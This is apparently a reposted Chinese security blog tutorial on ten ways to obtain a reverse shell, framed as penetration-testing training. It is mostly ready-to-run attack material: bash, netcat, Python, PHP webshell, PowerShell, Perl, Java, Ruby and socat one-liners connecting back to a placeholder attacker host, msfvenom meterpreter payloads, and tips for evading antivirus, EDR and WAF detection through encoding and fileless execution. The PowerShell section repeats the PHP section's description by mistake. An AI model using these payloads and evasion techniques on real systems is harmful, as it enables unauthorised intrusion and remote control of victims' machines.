亲测可用!反弹shell的10种方式

admin 2026-03-29 23:42:19 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细介绍了渗透测试中反弹Shell的10种实现方法,涵盖Bash原生、NetCat、Python、PHP、PowerShell、Perl、Java、Ruby、Socat和MSFvenom等技术方案。文章首先阐述了反弹Shell的基本原理与核心优势,随后针对每种方法提供了详细的命令示例、适用环境分析、避坑提示及优缺点对比。内容强调仅在合法授权环境下使用,具有较强的实战指导价值。 综合评分: 88 文章分类: 渗透测试,实战经验,安全工具,内网渗透,漏洞POC


cover_image

亲测可用!反弹shell的10种方式

原创

小智 小智

智榜样网络安全学习中心

2026年3月26日 14:00 湖南

【法律与安全声明】

本文仅用于授权的渗透测试、网络安全教学与研究,严禁用于未授权的攻击行为。未授权访问计算机系统属于违法行为,将承担相应的民事、行政甚至刑事责任。请务必遵守《中华人民共和国网络安全法》等相关法律法规,仅在拥有合法书面授权的环境中执行相关操作。

一、反弹 Shell 基础

1、什么是反弹 Shell?

反弹 Shell,即反向 Shell,反弹 shell 的 10 种方法 都学会搞定 90% 的渗透!其原理是:攻击机开启一个用于监听的端口,随后受害机主动向攻击机发起 TCP 或 UDP 连接,将自身命令行的输入,输出及错误流进行重定向,传输至攻击机处,最终使攻击者获取目标交互式命令的执行权限,这是一项相关技术。

相比正向 Shell(攻击机主动连目标),它的核心优势在于:

  • 突破内网限制:目标无公网 IP、无法直接正向访问时仍可使用
  • 绕过防火墙策略:绝大多数环境对入站流量限制严格,对出站流量放行宽松
  • 规避 IP 动态变化:目标 IP 变动不影响反弹连接的建立
  • 降低检测概率:相比正向连接,更难被常规边界防护设备检测

2、前置必备

执行所有反弹shell操作前,必须完成 3 项准备

1、攻击机环境:拥有公网 IP(或与目标同网段)关闭本机防火墙对应端口拦截云服务器需在安全组放行监听端口

2、提前开启监听:攻击机优先执行监听命令,最常用的 netcat 监听指令

# 攻击机执行,开启4444端口监听
nc -lvnp 4444

参数说明:

-l

开启监听模式,

-v

输出详细日志,

-n

不进行 DNS 解析,

-p

3、指定监听端口占位符替换:所有命令中的 LHOST 替换为攻击机 IPLPORT 替换为攻击机监听的端口

二、反弹 Shell 的 10 种方法

1、Bash 原生反弹 Shell

核心原理是借助Linux系统百分百原生自带的bash,通过文件描述符重定向这一操作,将shell的输入与输出绑定到TCP连接,且无需安装任何额外工具,这是渗透测试中优先级最高的方法。

适用环境:几乎所有 Linux、macOS 系统,嵌入式 Linux 设备(路由器、摄像头等)

攻击机操作:提前执行 nc -lvnp 4444 开启监听

目标机执行命令

# 最经典、兼容性最强的版本,优先使用
bash -i >& /dev/tcp/LHOST/LPORT 0>&1

命令拆解

  • bash -i:启动交互式 bash shell
  • >& /dev/tcp/LHOST/LPORT:将标准输出、标准错误重定向到攻击机的 TCP 连接
  • 0>&1:将标准输入重定向到标准输出,实现输入输出双向透传

避坑提示

Ubuntu 等系统默认 shell 为 dash,直接用 sh 执行会失败,必须指定 bash

目标无法解析域名时,LHOST 必须用 IP 地址,不可用域名

优缺点:

✅ 系统原生、无需额外工具、命令极短、兼容性拉满

❌ 明文传输,易被流量检测设备拦截,交互式体验一般

2、NetCat 反弹 Shell

NetCat也就是常说的nc,核心原理是借助在Linux中预装情况极为普遍的网络工具,它存在两种类型,一种是支持-e参数的传统版本,另一种是不支持-e的OpenBSD精简版本,它通过端口重定向来达成Shell反弹的效果,并且是渗透测试里基础且必不可少的方案。

适用环境:预装 nc 的 Linux、Unix、Windows 系统

攻击机操作:提前执行 nc -lvnp 4444 开启监听

2.1 传统 nc,有 – e 参数

目标机命令

# Linux目标
nc -e /bin/bash LHOST LPORT
# Windows目标
nc -e cmd.exe LHOST LPORT

原理:-e参数直接指定执行程序,将 shell 的输入输出绑定到网络连接

2.2 无 – e 参数版

绝大多数精简版 nc 不支持-e参数,用此方案绕过限制:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc LHOST LPORT >/tmp/f

原理:通过 mkfifo 创建命名管道,实现输入输出的双向传输,无需-e参数

避坑提示

1、部分系统命令为netcat,可直接替换nc执行

2、确保命名管道文件/tmp/f有读写权限,执行失败可更换文件名

优缺点:

✅ 系统预装率高、命令简单、跨平台支持、无- e版兼容性极强

❌ 明文传输,传统版易被杀毒软件拦截

3、Python 反弹 Shell

核心原理在于,Python作为脚本语言,其在服务器以及开发环境中的预装率处于最高水平,能够覆盖Linux,Windows,macOS的全平台,它借助socket模块构建网络连接,并且对shell的输入输出进行重定向,在Web渗透和内网渗透场景里具有极高的通用性。

适用环境:安装 Python2/Python3 的所有系统(90% 以上 Linux 服务器、Windows 开发机均预装)

攻击机操作:提前执行 nc -lvnp 4444 开启监听

3.1 Python3 通用

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("LHOST",LPORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

3.2 Python2 老系统专用

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("LHOST",LPORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

3.3 Windows Python 版

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("LHOST",LPORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["cmd.exe"]);'

避坑提示

1、目标系统命令可能为python3/python/py,根据环境替换

2、注意单双引号的转义,避免语法报错

优缺点:

✅ 跨平台兼容性极强、预装率高、免杀难度低、可自定义扩展,Web 文件上传场景直接执行

❌ 部分最小化安装的 Linux 系统未预装 Python

4、PHP 反弹 Shell

核心原理方面,PHP属于Web开发里较为主流的语言,多数网站服务器均配置了PHP环境,它能够借助socket函数搭建网络连接,还可以执行系统shell并对数据流进行重定向,在Web渗透中,作为通过文件上传以及利用RCE漏洞获取Shell的首要方案。

适用环境:部署 PHP 环境的 Web 服务器(Linux/Windows 全支持)

攻击机操作:提前执行 nc -lvnp 4444 开启监听

4.1 RCE 漏洞直接执行,优先使用

php -r '$sock=fsockopen("LHOST",LPORT);exec("/bin/bash -i <&3 >&3 2>&3");'

4.2 exec 被禁用时,用 system 替换

php -r '$sock=fsockopen("LHOST",LPORT);system("/bin/bash -i <&3 >&3 2>&3");'

4.3 文件上传专用

<?php
$ip =&nbsp;'LHOST';
$port = LPORT;
$sock = fsockopen($ip,&nbsp;$port);
$descriptorspec = array(
&nbsp; &nbsp; 0 => $sock,
&nbsp; &nbsp; 1 => $sock,
&nbsp; &nbsp; 2 => $sock
);
$process = proc_open('/bin/bash -i',&nbsp;$descriptorspec,&nbsp;$pipes);
?>

Windows 环境替换/bin/bash -icmd.exe即可

避坑提示:

1、注意 PHP 环境是否禁用了fsockopen/exec/system/proc_open等危险函数,禁用则更换其他函数

2、部分虚拟主机会限制出站 TCP 连接,导致连接失败

优缺点:

✅ Web 渗透场景覆盖率 100%、使用灵活、可直接写入 webshell 执行、兼容性强

❌ 依赖 PHP 环境,危险函数被禁用时无法使用,明文传输易被 WAF 检测

5、PowerShell 反弹 Shell

核心原理方面,PHP属于Web开发里较为主流的语言,多数网站服务器均配置了PHP环境,它能够借助socket函数搭建网络连接,还可以执行系统shell并对数据流进行重定向,在Web渗透中,作为通过文件上传以及利用RCE漏洞获取Shell的首要方案。

适用环境:Windows 7 及以上、Windows Server 2008 及以上全版本 Windows 系统

攻击机操作:提前执行nc -lvnp 4444开启监听

5.1 通用无文件版

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('LHOST',LPORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

5.2 精简版

powershell -nop -W hidden -c "$c=New-Object Net.Sockets.TCPClient('LHOST',LPORT);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length))-ne0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$sb=([text.encoding]::ASCII).GetBytes((iex $d 2>&1|Out-String));$s.Write($sb,0,$sb.Length);$s.Flush()}"

避坑提示:

1、执行策略限制可添加-ExecutionPolicy Bypass参数绕过,完整前缀:powershell -ExecutionPolicy Bypass -nop -c "xxx"

2、默认命令易被Windows Defender/EDR 拦截,可通过 base64 编码绕过

优缺点:

✅ Windows 原生自带、无文件执行、无需落地、免杀扩展性强、全版本 Windows 兼容

❌ 默认命令易被终端防护软件检测,需做免杀处理,命令较长

6、Perl 反弹 Shell

核心原理在于:Perl作为一款历史悠久的脚本语言,几乎在所有Linux 发行版,Unix 系统,老旧版本服务器以及嵌入式设备中都有预装。它能够借助socket 模块构建连接,并且对shell 数据流进行重定向,当Python 环境无法使用时,它就成为替代的选择。

适用环境:预装 Perl 的 Linux、Unix、macOS 系统,老版本服务器兼容性极强

攻击机操作:提前执行 nc -lvnp 4444 开启监听

目标机执行命令:

perl -e 'use Socket;$i="LHOST";$p=LPORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'

Windows 环境替换/bin/bash -i为cmd.exe即可

避坑提示

1、老系统默认预装 socket 模块,无需额外安装,极少出现兼容问题

2、IP 地址必须用双引号包裹,端口为数字不可加引号

优缺点:

✅ 老系统预装率极高、兼容性远超 Python、命令稳定、极少报错

❌ 新系统预装率逐渐下降,明文传输易被检测

7、Java 反弹 Shell

Java作为企业级应用中最为盛行的开发语言,像TomcatWeblogicJBossSpringBoot这类中间件与框架都处于Java 环境之中,借助Socket 类构建TCP 连接,调用Runtime执行系统 shell并对数据流进行重定向,这是Java 中间件 RCE 漏洞获取 Shell的关键方式。

适用环境:安装 JRE/JDK 的 Linux/Windows 服务器,企业级 Web 应用、中间件场景

攻击机操作:提前执行nc -lvnp 4444开启监听

目标机单行执行命令(RCE 漏洞直接用):

r = Runtime.getRuntime();p = r.exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/LHOST/LPORT;cat <&5 | while read line; do \$line 2>&5 >&5; done"});p.waitFor();\

完整 Java 类版本(写入文件编译执行):

public class ReverseShell {
&nbsp; &nbsp; public static void main(String[] args) throws Exception {
&nbsp; &nbsp; &nbsp; &nbsp; String host = "LHOST";
&nbsp; &nbsp; &nbsp; &nbsp; int port = LPORT;
&nbsp; &nbsp; &nbsp; &nbsp; java.net.Socket s = new java.net.Socket(host, port);
&nbsp; &nbsp; &nbsp; &nbsp; java.io.InputStream in = s.getInputStream();
&nbsp; &nbsp; &nbsp; &nbsp; java.io.OutputStream out = s.getOutputStream();
&nbsp; &nbsp; &nbsp; &nbsp; Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-i"});
&nbsp; &nbsp; &nbsp; &nbsp; java.io.InputStream pin = p.getInputStream();
&nbsp; &nbsp; &nbsp; &nbsp; java.io.OutputStream pout = p.getOutputStream();
&nbsp; &nbsp; &nbsp; &nbsp; java.io.InputStream perr = p.getErrorStream();
&nbsp; &nbsp; &nbsp; &nbsp; while (true) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; while (pin.available() > 0) out.write(pin.read());
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; while (perr.available() > 0) out.write(perr.read());
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; while (in.available() > 0) pout.write(in.read());
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; out.flush();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pout.flush();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Thread.sleep(50);
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }
}

Windows 环境替换/bin/bash -icmd.exe即可

避坑提示:

1、注意 Java 环境权限,部分中间件会限制 Runtime 执行系统命令

2、单行版注意转义符,避免漏洞执行时出现语法错误

优缺点:

✅ 企业级中间件场景覆盖率 100%、兼容性强、可直接在 RCE 漏洞中执行

❌ 依赖 Java 环境,命令较长,部分场景需做免杀处理

8、Ruby 反弹 Shell

核心原理方面:Ruby属于红帽系,CentOS等这类Linux发行版以及macOS系统默认就预装的脚本语言,它借助socket库搭建网络连接,对shell的输入输出进行重定向,在Python,Perl环境无法使用的时候,是可供选择的替代方案。

适用环境:预装Ruby的Linux、macOS系统

攻击机操作:提前执行nc -lvnp 4444开启监听

目标机执行命令:

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("LHOST","LPORT");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

避坑提示:

1、红帽系系统默认预装RubyDebian/Ubuntu系统需手动安装

2、老版本Ruby语法略有差异,通用版兼容性最强

优缺点:

✅ 红帽系系统预装率高、命令简单、执行稳定、备选方案首选

❌ 部分系统未预装 Ruby,适用场景有限,明文传输

9、Socat 交互式反弹 Shell

Socatnc 升级版的称谓,它具备全交互式 TTYShell流量加密端口转发等功能,能够良好地解决普通反弹 Shell 无法使用vimsusudo等交互式命令的问题,在实现内网渗透的时候,是获取稳定权限的工具。

适用环境:安装socat的Linux系统,攻击机也需同步安装socat

攻击机操作

安装 socat:

apt install socat / yum install socat

开启基础监听:

socat -d -d TCP-LISTEN:4444 STDOUT

目标机执行命令:

socat TCP:LHOST:4444 EXEC:/bin/bash,pty,stderr,setsid,sigint,sane

9.1 进阶加密版

攻击机生成证书:

openssl req -newkey rsa:2048 -nodes -keyout shell.key -x509 -days 365 -out shell.crt
cat shell.key shell.crt > shell.pem

攻击机开启加密监听:

socat -d -d OPENSSL-LISTEN:4444,cert=shell.pem,verify=0 STDOUT

目标机执行加密反弹命令:

socat OPENSSL:LHOST:4444,verify=0 EXEC:/bin/bash,pty,stderr,setsid,sigint,sane

避坑提示:

1、pty参数是实现全交互式的核心,不可删除

2、最小化系统未预装socat时,可静态编译后上传目标机

优缺点:

✅ 全交互式 TTY Shell、支持vim/su/sudo等命令、支持流量加密、连接稳定不易断开

❌ 需安装 socat,默认系统预装率低

10、MSFvenom 一键生成反弹 Shell

核心运作原理MSFvenomMetasploit框架内置的Payload 生成工具,能够一键生成适用于全平台与全架构反弹 ShellPayload,涵盖WindowsLinuxmacOSAndroid等系统,自身具有免杀加密持久化等功能,实为渗透测试中快速获取Shell以及实施提权的重要工具。

适用环境:全平台、全架构系统,支持可执行文件、脚本、Shellcode 等多种格式

攻击机操作(Kali Linux 默认自带 Metasploit):

10.1 Linux x64 反弹 Shell 生成

#&nbsp;1. 生成elf可执行Payload
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=LHOST LPORT=LPORT -f elf -o reverse.elf

#&nbsp;2. 开启MSF监听
msfconsole -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST LHOST; set LPORT LPORT; run"

将生成的reverse.elf上传到目标机,执行chmod +x reverse.elf && ./reverse.elf即可反弹 Shell

10.2 Windows x64 反弹 Shell 生成

#&nbsp;1. 生成exe可执行Payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=LHOST LPORT=LPORT -f exe -o reverse.exe
#&nbsp;2. 开启MSF监听
msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST LHOST; set LPORT LPORT; run"

将生成的reverse.exe上传到目标机执行,即可反弹 Shell

10.3 其他常用格式生成

PHP种简短形式的载荷内容为msfvenom -p php/meterpreter/reverse_tcp LHOST=LHOST LPORT=LPORT -f raw -o reverse.php

Python所承载的有效负载内容是:msfvenom -p python/meterpreter/reverse_tcp LHOST=LHOST LPORT=LPORT -f raw -o reverse.py

以下是一种改写:PowerShell所包含的有效负载呈现出这样的形式:msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=LHOST LPORT=LPORT -f psh -o reverse.ps1

避坑提示:

1、生成Payload的架构必须与目标机匹配(x86/x64/arm),否则执行失败

2、监听的Payload必须与生成的Payload完全一致,否则无法接收连接

3、默认生成的exe文件易被杀毒软件拦截,可添加编码器免杀,例如:-e x64/shikata_ga_nai -i 10

优缺点:

✅ 全平台全架构覆盖、一键生成、功能强大、自带 Meterpreter 高级 Shell、支持提权 / 内网渗透 / 持久化

❌ 依赖 Metasploit框架,默认生成文件易被终端防护软件拦截,需免杀处理

三、反弹Shell进阶优化技巧

1、升级全交互式 TTY Shell

普通反弹 Shell 无法使用 vimsusudo、方向键回退等功能,执行以下步骤升级为本地终端级别的交互式 Shell:

#&nbsp;第一步:在反弹的Shell中执行,获取pty
python3 -c 'import pty; pty.spawn("/bin/bash")'
#&nbsp;第二步:按 Ctrl+Z 把Shell挂到后台
#&nbsp;第三步:在攻击机执行,设置终端模式
stty raw -echo
#&nbsp;第四步:在攻击机执行,把Shell拉回前台
fg
#&nbsp;第五步:在反弹的Shell中设置终端环境变量
export TERM=xterm

2、绕过防火墙与出站限制

  • 端口选择:优先使用 80、443、53、8080 等常用端口,这类端口的出站流量大多被防火墙放行,避免使用冷门端口
  • 协议绕过:TCP 连接被拦截时,可使用 UDP 反弹 Shell(nc 添加-u参数开启 UDP 监听)
  • 域名绕过:IP 被拦截时,可将攻击机 IP 绑定域名,用域名替换 LHOST

3、免杀与规避检测

  • 流量加密:使用 socat opensslopenssl 反弹 Shell,避免明文传输被流量检测设备拦截
  • 命令编码:将反弹 Shell 命令进行 base64 编码,绕过 WAF、EDR 的特征检测
  • 无文件执行:优先使用 PowerShellPythonPerl 等脚本语言的单行命令,无需落地文件,降低被检测概率
  • 命令分割:将长命令拆分成多个短命令执行,绕过命令长度限制和特征检测

四、总结

本文讲解的 10 种反弹 Shell 途径,涵盖LinuxWindows所有平台,契合Web 渗透内网渗透中间件渗透以及老系统兼容超 90% 的渗透测试情况。

核心实战的关键原则为,首要选择目标系统自身所具备的原生工具,因其无需额外安装成功概率最高,鉴于不同环境需采用不同办法,切勿死钻一种方案,而是通过多端口多协议多种方法交替测试,如此绝大多数情形下都能够成功获取到Shell

五、🎁 互动与福利

分享本文到朋友圈,点赞+在看+关注,一键三联,可以凭截图找老师领取

上千学习资料+工具

22919c6e4ef945aa9a9cbf0f6df4f6ff

分享后扫码加我!


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:智榜样网络安全学习中心 小智 小智《亲测可用!反弹shell的10种方式》

解密大模型中的Token 网络安全文章

解密大模型中的Token

文章总结: 文章阐述了大模型中Token的定义与核心作用,Token是文本离散化后的最小处理单位,通过Tokenizer完成分词与向量化。文章讲解了子词切分策略
评论:0   参与:  0